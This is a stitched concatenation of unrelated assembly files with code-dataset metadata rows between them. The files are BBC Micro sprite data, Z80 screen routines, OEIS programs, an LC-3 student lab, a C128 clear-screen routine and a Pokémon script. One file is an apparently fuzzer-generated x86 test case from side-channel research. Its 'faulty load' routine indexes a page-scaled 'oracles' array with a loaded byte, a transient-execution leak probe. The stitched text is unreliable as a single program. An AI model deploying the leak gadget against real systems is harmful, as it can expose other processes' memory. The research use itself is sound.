EQUB &40, &48, &44, &4c, &42, &4a, &46, &4e, &41, &49, &45, &4d, &43, &4b, &47, &4f
EQUB &c0, &c8, &c4, &cc, &c2, &ca, &c6, &ce, &c1, &c9, &c5, &cd, &c3, &cb, &c7, &cf
EQUB &20, &28, &24, &2c, &22, &2a, &26, &2e, &21, &29, &25, &2d, &23, &2b, &27, &2f
EQUB &a0, &a8, &a4, &ac, &a2, &aa, &a6, &ae, &a1, &a9, &a5, &ad, &a3, &ab, &a7, &af
EQUB &60, &68, &64, &6c, &62, &6a, &66, &6e, &61, &69, &65, &6d, &63, &6b, &67, &6f
EQUB &e0, &e8, &e4, &ec, &e2, &ea, &e6, &ee, &e1, &e9, &e5, &ed, &e3, &eb, &e7, &ef
EQUB &10, &18, &14, &1c, &12, &1a, &16, &1e, &11, &19, &15, &1d, &13, &1b, &17, &1f
EQUB &90, &98, &94, &9c, &92, &9a, &96, &9e, &91, &99, &95, &9d, &93, &9b, &97, &9f
EQUB &50, &58, &54, &5c, &52, &5a, &56, &5e, &51, &59, &55, &5d, &53, &5b, &57, &5f
EQUB &d0, &d8, &d4, &dc, &d2, &da, &d6, &de, &d1, &d9, &d5, &dd, &d3, &db, &d7, &df
EQUB &30, &38, &34, &3c, &32, &3a, &36, &3e, &31, &39, &35, &3d, &33, &3b, &37, &3f
EQUB &b0, &b8, &b4, &bc, &b2, &ba, &b6, &be, &b1, &b9, &b5, &bd, &b3, &bb, &b7, &bf
EQUB &70, &78, &74, &7c, &72, &7a, &76, &7e, &71, &79, &75, &7d, &73, &7b, &77, &7f
EQUB &f0, &f8, &f4, &fc, &f2, &fa, &f6, &fe, &f1, &f9, &f5, &fd, &f3, &fb, &f7, &ff
; Flipped sprite buffer
.flip_upper
SKIP 32 ; Top half of flipped sprite
.flip_lower
SKIP 32 ; Bottom half of flipped sprite
; Animation frames
.HUMAN_ANIM
EQUB &10, &11, &12, &11
.BOMBER_ANIM
EQUB &00, &01, &02, &01 ; Walk
EQUB &03, &04, &05, &04 ; Climb facing
EQUB &06, &07, &08, &07 ; Climb away
EQUB &09, &0A, &0B, &0C, &0D, &0E, &0F ; Explode
| 49.916667 | 85 | 0.472454 |
11ffc56df00e7290ed9db76e6e5b41b8788b0f78 | 7,193 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_15901_1524.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_15901_1524.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_15901_1524.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1a3e8, %rdx
nop
nop
nop
mfence
mov (%rdx), %r9
nop
nop
nop
nop
nop
inc %r14
lea addresses_normal_ht+0x43d9, %rbx
add $33596, %rsi
movups (%rbx), %xmm7
vpextrq $1, %xmm7, %r12
and %rdx, %rdx
lea addresses_WC_ht+0xc18e, %rsi
nop
nop
nop
nop
cmp $59020, %r11
movb (%rsi), %dl
nop
nop
nop
sub $63083, %r14
lea addresses_D_ht+0x15a, %rdx
nop
nop
nop
nop
and %r11, %r11
mov $0x6162636465666768, %r9
movq %r9, (%rdx)
nop
nop
nop
nop
sub $22332, %r9
lea addresses_D_ht+0x1b9d2, %rsi
lea addresses_A_ht+0x1dc15, %rdi
nop
nop
nop
nop
cmp %rbx, %rbx
mov $27, %rcx
rep movsw
nop
nop
nop
nop
and %rbx, %rbx
lea addresses_A_ht+0x1a1d2, %rsi
lea addresses_normal_ht+0x1e58, %rdi
nop
and $48084, %r14
mov $119, %rcx
rep movsw
nop
nop
nop
add $55185, %r9
lea addresses_D_ht+0x4112, %rdi
nop
nop
nop
nop
nop
dec %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm0
and $0xffffffffffffffc0, %rdi
vmovaps %ymm0, (%rdi)
nop
nop
nop
nop
xor %r12, %r12
lea addresses_WC_ht+0x2e82, %r12
xor $14431, %rsi
mov (%r12), %r9d
nop
nop
nop
cmp %rdx, %rdx
lea addresses_WC_ht+0x1ebd2, %r11
add $28442, %r12
mov (%r11), %rdx
nop
nop
nop
dec %r9
lea addresses_UC_ht+0x18dd2, %r12
nop
cmp %r14, %r14
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%r12)
nop
nop
nop
nop
sub $56964, %r14
lea addresses_UC_ht+0xf232, %rdi
nop
dec %r11
movw $0x6162, (%rdi)
nop
nop
nop
nop
cmp $4846, %r14
lea addresses_D_ht+0x19a12, %rdi
nop
inc %r9
movups (%rdi), %xmm0
vpextrq $1, %xmm0, %r11
nop
nop
nop
inc %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0x16112, %rsi
lea addresses_RW+0x1fdd2, %rdi
nop
nop
nop
nop
mfence
mov $51, %rcx
rep movsq
inc %r8
// Faulty Load
lea addresses_PSE+0x1d9d2, %r11
add %rbx, %rbx
mov (%r11), %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 15901}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 34.416268 | 2,999 | 0.657306 |
f5251407a66fd341469d638992720b5dc146de0f | 8,162 | asm | Assembly | transformy/tables/gen/0011.asm | mborik/regression | 25b5f2204ce668594449e8ce804779288b895ac0 | [
"MIT"
] | 3 | 2019-09-18T05:34:22.000Z | 2020-12-04T17:46:52.000Z | transformy/tables/gen/0011.asm | mborik/regression | 25b5f2204ce668594449e8ce804779288b895ac0 | [
"MIT"
] | null | null | null | transformy/tables/gen/0011.asm | mborik/regression | 25b5f2204ce668594449e8ce804779288b895ac0 | [
"MIT"
] | 1 | 2020-01-17T01:04:24.000Z | 2020-01-17T01:04:24.000Z | ld a, 2
ld (basescradr + #06f1), a
ld a, 14
ld (basescradr + #07f1), a
ld a, 30
ld (basescradr + #0811), a
ld a, 62
ld (basescradr + #0911), a
ld a, 126
ld (basescradr + #0a11), a
ld a, 254
ld hl, basescradr + #0831
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0851
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0871
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08b1
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0b11
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0891), a
ld (basescradr + #0b91), a
ld (basescradr + #0c91), a
ld (basescradr + #0f71), a
ld (basescradr + #0f91), a
ld a, 3
ld (basescradr + #0ac9), a
ld (basescradr + #0b2f), a
ld (basescradr + #0baa), a
ld (basescradr + #0bc9), a
ld (basescradr + #0c10), a
ld (basescradr + #0c8b), a
ld (basescradr + #0e6c), a
ld (basescradr + #0f4d), a
xor a
ld hl, basescradr + #0832
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0852
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #086c
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #088a
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #088b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08a9
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a89
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0b6b
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0c12
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #102e
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #102f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #130d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1330
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #114f
ld (hl), a
inc hl
ld (hl), a
inc hl
ld (hl), a
ld (basescradr + #08a8), a
ld (basescradr + #08aa), a
ld (basescradr + #09a8), a
ld (basescradr + #09aa), a
ld (basescradr + #0c4d), a
ld (basescradr + #0d4d), a
ld (basescradr + #0e88), a
ld (basescradr + #0f6a), a
ld (basescradr + #0f88), a
ld (basescradr + #100c), a
ld (basescradr + #104f), a
ld (basescradr + #160e), a
ld (basescradr + #1631), a
ld (basescradr + #170e), a
ld a, 7
ld (basescradr + #086d), a
ld (basescradr + #0a4e), a
ld (basescradr + #0beb), a
ld (basescradr + #0c2f), a
ld (basescradr + #0caa), a
ld (basescradr + #0cc9), a
ld (basescradr + #0d10), a
ld (basescradr + #0d8b), a
ld (basescradr + #0eec), a
ld (basescradr + #0f6c), a
ld (basescradr + #1230), a
ld (basescradr + #140e), a
ld (basescradr + #170f), a
ld a, 15
ld (basescradr + #08ea), a
ld (basescradr + #096d), a
ld (basescradr + #0d2f), a
ld (basescradr + #0daa), a
ld (basescradr + #0dc9), a
ld (basescradr + #0e10), a
ld (basescradr + #0e8b), a
ld (basescradr + #110d), a
ld (basescradr + #1431), a
ld a, 31
ld (basescradr + #088c), a
ld (basescradr + #0b4e), a
ld (basescradr + #0f10), a
ld (basescradr + #0f8b), a
ld a, 63
ld (basescradr + #0830), a
ld (basescradr + #08ab), a
ld (basescradr + #098c), a
ld (basescradr + #0a6d), a
ld (basescradr + #0aeb), a
ld (basescradr + #0c4e), a
ld (basescradr + #0e2f), a
ld (basescradr + #0eaa), a
ld (basescradr + #0fca), a
ld (basescradr + #100d), a
ld (basescradr + #1130), a
ld (basescradr + #160f), a
ld a, 255
ld hl, basescradr + #08d1
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08f0
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08f1
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0930
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #09ca
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0cb1
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1010
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1011
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1031
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #08eb), a
ld (basescradr + #09eb), a
ld (basescradr + #0cec), a
ld (basescradr + #0fcb), a
ld (basescradr + #0fd0), a
ld (basescradr + #1030), a
ld a, 1
ld (basescradr + #09c9), a
ld (basescradr + #09ea), a
ld (basescradr + #0a2f), a
ld (basescradr + #0aaa), a
ld (basescradr + #0ceb), a
ld (basescradr + #0d6c), a
ld (basescradr + #0e4d), a
ld (basescradr + #0ec9), a
ld (basescradr + #0fec), a
ld (basescradr + #120d), a
ld (basescradr + #150e), a
ld (basescradr + #1531), a
ld a, 127
ld (basescradr + #09ab), a
ld (basescradr + #0a8c), a
ld (basescradr + #0b6d), a
ld (basescradr + #0d4e), a
ld (basescradr + #0f2f), a
ld (basescradr + #0faa), a
ld (basescradr + #130e), a
ld (basescradr + #1331), a
ld a, 64
ld (basescradr + #0a72), a
ld (basescradr + #0a92), a
ld (basescradr + #0ab2), a
ld (basescradr + #0d52), a
ld (basescradr + #0e52), a
ld (basescradr + #0e72), a
ld (basescradr + #0e92), a
ld (basescradr + #0eb2), a
ld (basescradr + #1133), a
ld (basescradr + #1233), a
ld (basescradr + #1513), a
ld (basescradr + #1613), a
ld a, 100
ld (basescradr + #09d2), a
ld a, 68
ld (basescradr + #0ad2), a
ld (basescradr + #0ed2), a
ld a, 102
ld (basescradr + #09f2), a
ld (basescradr + #0dd2), a
ld a, 196
ld (basescradr + #0af2), a
ld (basescradr + #0ef2), a
ld (basescradr + #1212), a
ld (basescradr + #1232), a
ld (basescradr + #1612), a
ld a, 128
ld (basescradr + #0bf2), a
ld (basescradr + #0cf2), a
ld (basescradr + #0ff2), a
ld (basescradr + #1012), a
ld (basescradr + #1032), a
ld (basescradr + #1312), a
ld (basescradr + #1412), a
ld (basescradr + #1712), a
ld a, 230
ld (basescradr + #0df2), a
ld (basescradr + #1112), a
ld (basescradr + #1132), a
ld (basescradr + #1512), a
ld (basescradr + #1532), a
ld a, 192
ld (basescradr + #1332), a
ld (basescradr + #1432), a
ld a, 96
ld (basescradr + #1533), a
ld a, 4
ld (basescradr + #1632), a
ret
| 16.794239 | 28 | 0.524259 |
4ed01daec8c632fabe5e82dd3a834b6809467450 | 416 | asm | Assembly | programs/oeis/293/A293077.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/293/A293077.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/293/A293077.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A293077: Number of letters (0's and 1's) in the n-th iterate of the final-letter-removed mapping defined at A289035.
; 2,4,6,10,16,26,44,74,126,214,364,620,1058,1806,3082,5260,8978,15326,26162,44660,76238,130146,222172,379270,647454,1105272,1886816,3220996,5498584,9386670,16024048,27354760,46697496,79717612,136086476
mov $1,1
mov $2,1
lpb $0
sub $0,1
add $1,$2
add $2,$1
div $2,2
lpe
mul $1,2
mov $0,$1
| 29.714286 | 201 | 0.725962 |
7350e0987628ddc2f620183d826388cc4eab22a4 | 899 | asm | Assembly | CS61/cs61_labs/lab-3-Kuzame/lab03_ex3.asm | Kuzame/CS61 | d384dd8170e86464d15c7c02745e33113537c832 | [
"Apache-2.0"
] | 1 | 2018-10-12T20:39:46.000Z | 2018-10-12T20:39:46.000Z | CS61/cs61_labs/lab-3-Kuzame/lab03_ex3.asm | Kuzame/CS61 | d384dd8170e86464d15c7c02745e33113537c832 | [
"Apache-2.0"
] | null | null | null | CS61/cs61_labs/lab-3-Kuzame/lab03_ex3.asm | Kuzame/CS61 | d384dd8170e86464d15c7c02745e33113537c832 | [
"Apache-2.0"
] | null | null | null | ;=================================================
; Name: Adrian Harminto
; Email: aharm002@ucr.edu
;
; Lab: lab 3
; Lab section: 24
; TA: Bryan Marsh
;
;=================================================
.orig x3000
;------------
;Instruction
;------------
LDI R3, DEC_65_PTR
LDI R4, HEX_41_PTR
ADD R3, R3, #1 ;add 1 to R3
ADD R4, R4, #1 ;add 1 to R4
STI R3, DEC_65_PTR
STI R4, HEX_41_PTR
;They will now represent character 'B' at x4000 & x4001
;exercise3
LD R5, DEC_65_PTR
LD R6, HEX_41_PTR
LDR R3, R5, #0
LDR R4, R6, #0
ADD R3, R3, #1
ADD R4, R4, #1
STR R3, R5, #0
STR R4, R6, #0
;They will now represent character 'C' at x4000 & 4001
HALT
;------------
;Local data
;------------
DEC_65_PTR .FILL x4000
HEX_41_PTR .FILL x4001
;------------
;Remote Address
;------------
.orig x4000
NEW_DEC_65 .FILL #65
NEW_HEX_41 .FILL x41
.end | 16.648148 | 56 | 0.508343 |
7e4a98ec0e21ec1f24f59c78fd7dd11c57278e68 | 464 | asm | Assembly | libsrc/target/c128/stdio/ansi/f_ansi_cls.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/c128/stdio/ansi/f_ansi_cls.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/c128/stdio/ansi/f_ansi_cls.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; ANSI Video handling for the Commodore 128 (Z80 mode)
; By Stefano Bodrato - 22/08/2001
;
; CLS - Clear the screen
;
;
; $Id: f_ansi_cls.asm $
;
SECTION code_clib
PUBLIC ansi_cls
EXTERN __c128_paper
.ansi_cls
ld hl,$2000 ; Text
ld d,h
ld e,l
inc de
ld bc,1023
ld (hl),32
ldir
ld hl,$1000 ; Color attributes
ld d,h
ld e,l
inc de
ld bc,1023
ld (hl),1
ldir
ld bc,$D021
ld a,(__c128_paper)
out (c),a
ld bc,$D020 ; BORDER
out (c),a
ret
| 12.540541 | 55 | 0.646552 |
6097342b4ddbfa64529cbee9f490f6b295a1cd03 | 1,074 | asm | Assembly | scripts/mtmoonpokecenter2.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | scripts/mtmoonpokecenter2.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | scripts/mtmoonpokecenter2.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | MagikarpSalesman:
CheckEvent EVENT_BOUGHT_MAGIKARP, 1
jp c, .alreadyBoughtMagikarp
ld hl, .Text1
call PrintText
ld a, MONEY_BOX
ld [wTextBoxID], a
call DisplayTextBoxID
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jp nz, .choseNo
; $000500
xor a
ld [hMoney], a
ld [hMoney + 2], a
ld a, $5
ld [hMoney + 1], a
call HasEnoughMoney
jr nc, .enoughMoney
ld hl, .NoMoneyText
jr .printText
.enoughMoney
lb bc, MAGIKARP, 5
call GivePokemon
jr nc, .done
; $000500
xor a
ld [wPriceTemp], a
ld [wPriceTemp + 2], a
ld a, $5
ld [wPriceTemp + 1], a
ld hl, wPriceTemp + 2
ld de, wPlayerMoney + 2
ld c, $3
predef SubBCDPredef
ld a, MONEY_BOX
ld [wTextBoxID], a
call DisplayTextBoxID
SetEvent EVENT_BOUGHT_MAGIKARP
jr .done
.choseNo
ld hl, .RefuseText
jr .printText
.alreadyBoughtMagikarp
ld hl, .Text2
.printText
call PrintText
.done
ret
.Text1
TX_FAR _MagikarpSalesmanText1
db "@"
.RefuseText
TX_FAR _MagikarpSalesmanNoText
db "@"
.NoMoneyText
TX_FAR _MagikarpSalesmanNoMoneyText
db "@"
.Text2
TX_FAR _MagikarpSalesmanText2
db "@"
| 16.029851 | 36 | 0.721601 |
4c774b05e09773c7c191b55b6b26fccb9b01711c | 1,564 | asm | Assembly | programs/oeis/011/A011910.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/011/A011910.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/011/A011910.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A011910: Floor( n(n-1)(n-2)/28 ).
; 0,0,0,0,0,2,4,7,12,18,25,35,47,61,78,97,120,145,174,207,244,285,330,379,433,492,557,626,702,783,870,963,1062,1169,1282,1402,1530,1665,1807,1958,2117,2284,2460,2644,2838,3040,3252,3474,3706,3948,4200,4462,4735,5019,5315,5621,5940,6270,6612,6966,7332,7712,8104,8509,8928,9360,9805,10265,10739,11227,11730,12247,12780,13327,13890,14469,15064,15675,16302,16945,17605,18282,18977,19688,20418,21165,21930,22713,23514,24335,25174,26032,26910,27807,28723,29660,30617,31594,32592,33610,34650,35710,36792,37896,39022,40170,41340,42532,43747,44985,46247,47531,48840,50172,51528,52908,54312,55742,57196,58675,60180,61710,63265,64847,66455,68089,69750,71437,73152,74893,76662,78459,80284,82137,84018,85927,87865,89832,91829,93854,95910,97995,100110,102255,104430,106637,108874,111142,113442,115773,118135,120530,122957,125416,127908,130432,132990,135580,138204,140862,143554,146280,149040,151834,154663